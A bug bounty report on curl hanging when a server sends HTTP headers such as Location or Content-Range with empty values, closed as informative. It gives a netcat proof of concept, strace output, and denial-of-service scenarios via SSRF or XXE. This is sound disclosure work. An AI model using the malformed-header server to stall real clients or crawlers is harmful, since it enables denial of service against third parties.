Loading HuntDB...

Poll loop/hang on incomplete HTTP header

Medium
C
curl
Submitted None
Reported by kugghjul

Vulnerability Details

Technical details and impact analysis

Uncontrolled Resource Consumption
## Summary: When an incomplete server header is missing its value, the curl client will receive the packet but hang while parsing it. Examples of vulnerable server headers: `Location`, `Content-Range` and `Connection`. Adding the `--max-time`option will terminate the request as intended. ## Steps To Reproduce: 1. Set up server: `echo -e "HTTP/1.1 200 OK\r\nLocation:\r\nContent-Range:\r\nConnection:\r\n" | nc -l -p 1337` 2. Make the request: `curl --connect-timeout 1 http://localhost:1337` ## Supporting Material/References: The bug was found using AFL with network support. The repository https://github.com/kugg/fuzzminator with the commit hash id `08a0102fbf633e5de3d43a01b995e1ca8e68bbd3`. * The attached file named `hangs.tar.gz` contains results from AFL including headers resulting in a hang. * Note: Location header is parsed even without the `--location` option and also when the server indicate `200 OK`. **Strace output** `$ strace curl -v --connect-timeout 1 http://localhost:1337` ``` connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress) poll([{fd=3, events=POLLOUT|POLLWRNORM}], 1, 0) = 1 ([{fd=3, revents=POLLOUT|POLLWRNORM}]) getsockopt(3, SOL_SOCKET, SO_ERROR, [0], [4]) = 0 getpeername(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("127.0.0.1")}, [128->16]) = 0 getsockname(3, {sa_family=AF_INET, sin_port=htons(37502), sin_addr=inet_addr("127.0.0.1")}, [128->16]) = 0 write(2, "*", 1*) = 1 write(2, " ", 1 ) = 1 write(2, "Connected to localhost (127.0.0."..., 50Connected to localhost (127.0.0.1) port 1337 (#0) ) = 50 sendto(3, "GET / HTTP/1.1\r\nHost: localhost:"..., 78, MSG_NOSIGNAL, NULL, 0) = 78 write(2, ">", 1>) = 1 write(2, " ", 1 ) = 1 write(2, "GET / HTTP/1.1\r\n", 16GET / HTTP/1.1 ) = 16 write(2, ">", 1>) = 1 write(2, " ", 1 ) = 1 write(2, "Host: localhost:1337\r\n", 22Host: localhost:1337 ) = 22 write(2, ">", 1>) = 1 write(2, " ", 1 ) = 1 write(2, "User-Agent: curl/7.58.0\r\n", 25User-Agent: curl/7.58.0 ) = 25 write(2, ">", 1>) = 1 write(2, " ", 1 ) = 1 write(2, "Accept: */*\r\n", 13Accept: */* ) = 13 write(2, ">", 1>) = 1 write(2, " ", 1 ) = 1 write(2, "\r\n", 2 ) = 2 poll([{fd=3, events=POLLIN|POLLPRI|POLLRDNORM|POLLRDBAND}], 1, 0) = 1 ([{fd=3, revents=POLLIN|POLLRDNORM}]) recvfrom(3, "HTTP/1.1 200 OK\nLocation:\nConten"..., 102400, 0, NULL, NULL) = 60 write(2, "<", 1<) = 1 write(2, " ", 1 ) = 1 write(2, "HTTP/1.1 200 OK\n", 16HTTP/1.1 200 OK ) = 16 write(2, "<", 1<) = 1 write(2, " ", 1 ) = 1 write(2, "Location:\n", 10Location: ) = 10 write(2, "<", 1<) = 1 write(2, " ", 1 ) = 1 write(2, "Content-Range:\n", 15Content-Range: ) = 15 write(2, "<", 1<) = 1 write(2, " ", 1 ) = 1 write(2, "Connection: Close\n", 18Connection: Close ) = 18 write(2, "<", 1<) = 1 write(2, " ", 1 ) = 1 write(2, "\n", 1 ) = 1 rt_sigaction(SIGPIPE, {sa_handler=SIG_IGN, sa_mask=[PIPE], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7f60c90e1890}, NULL, 8) = 0 poll([{fd=3, events=POLLIN}], 1, 198) = 0 (Timeout) rt_sigaction(SIGPIPE, NULL, {sa_handler=SIG_IGN, sa_mask=[PIPE], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7f60c90e1890}, 8) = 0 rt_sigaction(SIGPIPE, {sa_handler=SIG_IGN, sa_mask=[PIPE], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7f60c90e1890}, NULL, 8) = 0 poll([{fd=3, events=POLLIN|POLLPRI|POLLRDNORM|POLLRDBAND}], 1, 0) = 0 (Timeout) rt_sigaction(SIGPIPE, {sa_handler=SIG_IGN, sa_mask=[PIPE], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7f60c90e1890}, NULL, 8) = 0 poll([{fd=3, events=POLLIN}], 1, 1) = 0 (Timeout) ``` ## Impact This vulnerability could lead to denial of service of one given http request. Curl is often used for crawling, when this is the case a curl process could be blocked indefinitely by a server providing incomplete headers. If curl is used for fetching third party information through a web interface an attacker with SSRF or XXE access could use this bug to exhaust process id numbers or amount of allowed forks for the process by locking up curl clients.

Report Details

Additional information and metadata

State

Closed

Substate

Informative

Submitted

Weakness

Uncontrolled Resource Consumption